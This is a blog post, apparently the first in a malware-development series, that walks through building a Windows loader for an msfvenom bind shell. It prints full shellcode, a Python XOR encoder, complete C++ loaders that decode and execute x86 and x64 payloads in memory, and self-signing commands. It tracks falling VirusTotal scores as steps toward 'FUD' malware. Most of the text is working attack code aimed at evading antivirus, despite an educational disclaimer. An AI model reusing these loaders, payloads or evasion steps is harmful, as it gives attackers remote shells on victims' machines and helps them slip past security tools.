root@malware-ops:~$
12 January 2025

~$: Malware development part 1 - basics

by Annese Gabriele

~$: Introduction

This a first of a series of posts were we will try to understand how malware development works and the various techniques/tricks are used.

This series is inspired by the knowledge and insights I gained from reading the excellent blog posts on 0xpat. Their in-depth articles on the subject have been instrumental in shaping my understanding and approach, and I highly recommend checking out their work for further learning

Warning!

This blog post is strictly for educational purposes. Replicating the actions described here for malicious purposes is not tolerated. If you’re here with bad intentions, I suggest you leave now, script kiddie. 😉

Remember: Knowledge is power, but how you use it defines who you are.

~$: Generate a Malware

First of all we need to generate a payload in this case a bind shell with msfvenom

msfvenom -p windows/shell_bind_tcp LPORT=4444 -f c

msfvenomPayload

This is a simple C++ source code where i created and execute a new thread containing a msfvenom bind shell using a Windows API.

void main()
{
	//Bind shelle generate with MsVenom
	const char shellcode[] ="\xfc\xe8\x82\x00 (....)";

	//Allocate memory region
	PVOID shellocode_exec = VirtualAlloc(0, sizeof shellcode,  MEM_COMMIT | MEM_RESERVE, MEM_WRITE_WATCH);
	
	//Assigne value of memory pointer (shellocode_exec)
	RtlCopyMemory(shellocode_exec, shellcode, sizeof shellcode);

	//Create a new thread where the memory pointer will be executed 
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL,0, (PTHREAD_START_ROUTINE)shellocode_exec, NULL,0, &threadID);
	
	WaitForSingleObject(hThread, INFINITE);

Compile the code in release mode to remove all debugging symbols and information and upload the file in VirusTotal.

virustotal

~$: Obfuscation

Since the msfvenom payloads are known even the heuristic analysis can also detected them.

There are many techniques for obfuscate a malware, some of these are:

In this example i use the simple Encoding technique to encode my know payload.

I have create this simple and dirty python code to encoding the payload generate by msfvenom using XOR cipher with a 0x44 key.

# hex shellcode 
shellcode = bytes.fromhex(
    "fc e8 82 00 00 00 60 89 e5 31 c0 64 8b 50 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 "
    "31 ff ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f2 52 57 8b 52 10 8b 4a 3c 8b 4c 11 78 "
    "e3 48 01 d1 51 8b 59 20 01 d3 8b 49 18 e3 3a 49 8b 34 8b 01 d6 31 ff ac c1 cf 0d 01 "
    "c7 38 e0 75 f6 03 7d f8 3b 7d 24 75 e4 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 "
    "8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 5f 5f 5a 8b 12 eb 8d 5d 68 33 32 "
    "00 00 68 77 73 32 5f 54 68 4c 77 26 07 ff d5 b8 90 01 00 00 29 c4 54 50 68 29 80 6b "
    "00 ff d5 6a 08 59 50 e2 fd 40 50 40 50 68 ea 0f df e0 ff d5 97 68 02 00 11 5c 89 e6 "
    "6a 10 56 57 68 c2 db 37 67 ff d5 57 68 b7 e9 38 ff ff d5 57 68 74 ec 3b e1 ff d5 57 "
    "97 68 75 6e 4d 61 ff d5 68 63 6d 64 00 89 e3 57 57 57 31 f6 6a 12 59 56 e2 fd 66 c7 "
    "44 24 3c 01 01 8d 44 24 10 c6 00 44 54 50 56 56 56 46 56 4e 56 56 53 56 68 79 cc 3f "
    "86 ff d5 89 e0 4e 56 46 ff 30 68 08 87 1d 60 ff d5 bb f0 b5 a2 56 68 a6 95 bd 9d ff "
    "d5 3c 06 7c 0a 80 fb e0 75 05 bb 47 13 72 6f 6a 00 53 ff d5"
)
# XOR key
key = 0x44

# Encoding XOR
print("Encoding....")
encoded_shellcode = bytearray()
for byte in shellcode:
    encoded_shellcode.append(byte ^ key)


hex_shellcode = encoded_shellcode.hex()
print(hex_shellcode + "\n\n")

This now is my encoding payload:

b8acc644444424cda1758420cf1474cf1648cf1650cf366c4bf30e6275bbe8782538466864858b494583a6b61613cf1654cf0e78cf08553ca70c459515cf1d644597cf0d5ca77e0dcf70cf459275bbe8858b4945837ca431b24739bc7f396031a01ccf1c60459722cf480fcf1c584597cf40cf4594cd0060601f1f251d1e15bba41b1b1ecf56afc9192c777644442c3337761b102c08336243bb91fcd44544446d8010142c6dc42f44bb912e4c1d14a6b9041404142cae4b9ba4bb91d32c46445518cda22e5412132c869f7323bb91132cf3ad7cbbbb91132c30a87fa5bb9113d32c312a0925bb912c27292044cda713131375b22e561d12a6b922830060784545c9006054824400101412121202120a121217122c3d887bc2bb91cda40a1202bb742c4cc35924bb91ffb4f1e6122ce2d1f9d9bb917842384ec4bfa43141ff0357362b2e4417bb91

Now we need to integrate this payload in our C++ code and decode the payload before to create a remote thread like this

#include <iostream>
#include <Windows.h>
#include <string>
#include <iomanip>
#include <sstream>
#include <vector>

int main()
{
	std::string shellcode = "b8acc644444424cda1758420cf1474cf1648cf1650cf366c4bf30e6275bbe8782538466864858b494583a6b61613cf1654cf0e78cf08553ca70c459515cf1d644597cf0d5ca77e0dcf70cf459275bbe8858b4945837ca431b24739bc7f396031a01ccf1c60459722cf480fcf1c584597cf40cf4594cd0060601f1f251d1e15bba41b1b1ecf56afc9192c777644442c3337761b102c08336243bb91fcd44544446d8010142c6dc42f44bb912e4c1d14a6b9041404142cae4b9ba4bb91d32c46445518cda22e5412132c869f7323bb91132cf3ad7cbbbb91132c30a87fa5bb9113d32c312a0925bb912c27292044cda713131375b22e561d12a6b922830060784545c9006054824400101412121202120a121217122c3d887bc2bb91cda40a1202bb742c4cc35924bb91ffb4f1e6122ce2d1f9d9bb917842384ec4bfa43141ff0357362b2e4417bb91";
	std::vector<unsigned char> vector_shellcode_decoded;

	//-[Decoding XOR paylaod]----------------------------------
	for (size_t i = 0; i < shellcode.length(); i += 2) {
		std::string byteStr = shellcode.substr(i, 2); //hex value
		unsigned char decoded_byte = strtol(byteStr.c_str(), nullptr, 16); //byte value
		decoded_byte ^= 0x44; //XOR key to decode
		vector_shellcode_decoded.push_back(decoded_byte);
	}
	const unsigned char* shellcode_decoded = vector_shellcode_decoded.data();

	//-[Create a new thread]----------------------------------
	//Allocate memory region
	PVOID shellcode_exec = VirtualAlloc(0, vector_shellcode_decoded.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (shellcode_exec == NULL) {
		std::cerr << "VirtualAlloc failed with error code: " << GetLastError() << std::endl;
		return -1;
	}
	//Assigne value of memory pointer (shellocode_exec)
	RtlCopyMemory(shellcode_exec, shellcode_decoded, vector_shellcode_decoded.size());

	//Create a new thread where the memory pointer will be executed 
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	if (!hThread) {
		std::cerr << "Thread creation failed!" << std::endl;
		VirtualFree(shellcode_exec, 0, MEM_RELEASE);
		return -1;
	}

	WaitForSingleObject(hThread, INFINITE);
	VirtualFree(shellcode_exec, 0, MEM_RELEASE);

	return 0;
}

}

Uploading the file on VirusTotal we notice the score has dropped with only simple XOR encoding payload.

virustotal

~$: Signing the PE

Analyzing a hello world program on VirusTotal we may notice that as flagged as malicious.

#include <iostream>
#include <Windows.h>
void main()
{
	printf("Hello World");
}

virustotal

This because some malware detection engines may flag the unsigned binaries as suspicious.

~$: Create a self signed certificate

Try to create a self signed certificate and sign own malware.

Use makecert to generate a certificate in windows OS.

MakeCert.exe -r -pe -n "CN=Malwr CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv MalwrCA.pvk MalwrCA.cer
ce

certutil.exe -user -addstore Root C:\Cert\MalwrCA.cer

MakeCert.exe -pe -n "CN=Malwr Cert" -a sha256 -cy end -sky signature -ic C:\Cert\MalwrCA.cer -iv C:\Cert\MalwrCA.pvk -sv C:\Cert\MalwrCA.pvk C:\Cert\MalwrCA.cer

pvk2pfx.exe -pvk C:\Cert\MalwrCA.pvk -spc C:\Cert\MalwrCA.cer -pfx C:\Cert\MalwrCA.pfx

After execution the above command we have generate a Malwr certification authority, imported it to our certificate store and created code-signing certificate in .pfx.

Now we need to sign the executable, there are two way to do that

Upload on VirusTotal the signed malware and we can see that the score has decreased again even if only a little, this score can decreased further if the malware is signed with CA-third parties certificate.

virustotal

~$: Switch to x64

Since the x86 architecture is historically most used in the malware the AV have largest DB to detect a x86 payload instance a x64 payload. The x64 unlike x86 payload has the disadvantage that it can be executed ONLY on x64 environment, but now we are in 2025 and most of computers are a x64 payload so to decrease further the score.

I have generate a new x64 payload msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f C

Using the previously python script i encoded the payload with XOR. Finally i have replaced the old x86 shellcode with that new one x64.

#include <iostream>
#include <Windows.h>
#include <string>
#include <iomanip>
#include <sstream>
#include <vector>

int main()
{
	std::string shellcode = "b80cc7a0b4ac84444444051505141615120c7596210ccf16240ccf165c0ccf16640ccf36140c4bf30e0e09758d0c7584e878253846686405858d49054585a6a91605150ccf1664cf06780c4594cfc4cc4444440cc18430230c459414cf0c5c00cf04640d4594a7120cbb8d05cf70cc0c459209758d0c7584e805858d490545857ca431b5084708604c017d95319c1c00cf04600d45942205cf480c00cf04580d459405cf40cc0c4594051c051c1a1d1e051c051d051e0cc7a8640516bba41c051d1e0ccf56ad13bbbbbb190dfa3337761b7776444405120dcda20cc5a8e44544440dcda10df8464455184444444405100dcda008cdb505fe08336243bb9108cdae2c454544441d05fe6dc42f44bb91141409758d0975840cbb840ccd860cbb840ccd8505feae4b9ba4bb910ccd832e54051c08cda60ccdbd05fe869f7323bb910c75960ccdbd05fef3ad7cbbbb910975840c75960ccdbd05fe30a87fa5bb910ccdbd0ccd8305fe312a0925bb910cc580e44644440dfc2729204444444444051405140ccda61313130975842e491d0514a6b8228300601045450cc900605c82442c0ccda212140514051405140dbb8405140dbb8c09cd8508cd8505fe3d887bc2bb910c75960cbb8ecf4a05fe4cc35924bb91ffb4f1e61205fee2d1f9d9bb910cc7806c7842384ec4bfa43141ff0357362b2e441d05cd9ebb91";
	std::vector<unsigned char> vector_shellcode_decoded;

	//Decrypt XOR
	for (size_t i = 0; i < shellcode.length(); i += 2) {
		std::string byteStr = shellcode.substr(i, 2);
		unsigned char decoded_byte = strtol(byteStr.c_str(), nullptr, 16);
		decoded_byte ^= 0x44; //XOR key
		vector_shellcode_decoded.push_back(decoded_byte);
	}


	const unsigned char* shellcode_decoded = vector_shellcode_decoded.data();
	//Allocate memory region
	PVOID shellcode_exec = VirtualAlloc(0, vector_shellcode_decoded.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (shellcode_exec == NULL) {
		std::cerr << "VirtualAlloc failed with error code: " << GetLastError() << std::endl;
		return -1;
	}
	//Assigne value of memory pointer (shellocode_exec)
	RtlCopyMemory(shellcode_exec, shellcode_decoded, vector_shellcode_decoded.size());

	//Create a new thread where the memory pointer will be executed 
	DWORD threadID;
	HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
	if (!hThread) {
		std::cerr << "Thread creation failed!" << std::endl;
		VirtualFree(shellcode_exec, 0, MEM_RELEASE);
		return -1;
	}

	WaitForSingleObject(hThread, INFINITE);
	VirtualFree(shellcode_exec, 0, MEM_RELEASE);

	return 0;
}

Uploading the file on VirusTotal we notice the score now are 10.

virustotal

~$: Summary

This demonstrates how thought a simple obfuscation, signing and change payload architecture we can obtain a good result. Obviously the malware we created remains detectable but this is a first step to create a FUD malware.

If u want u can view the source code on my github repo.

~$: References

tags: malware - obfuscation - msfvenom - virsutotal - XOR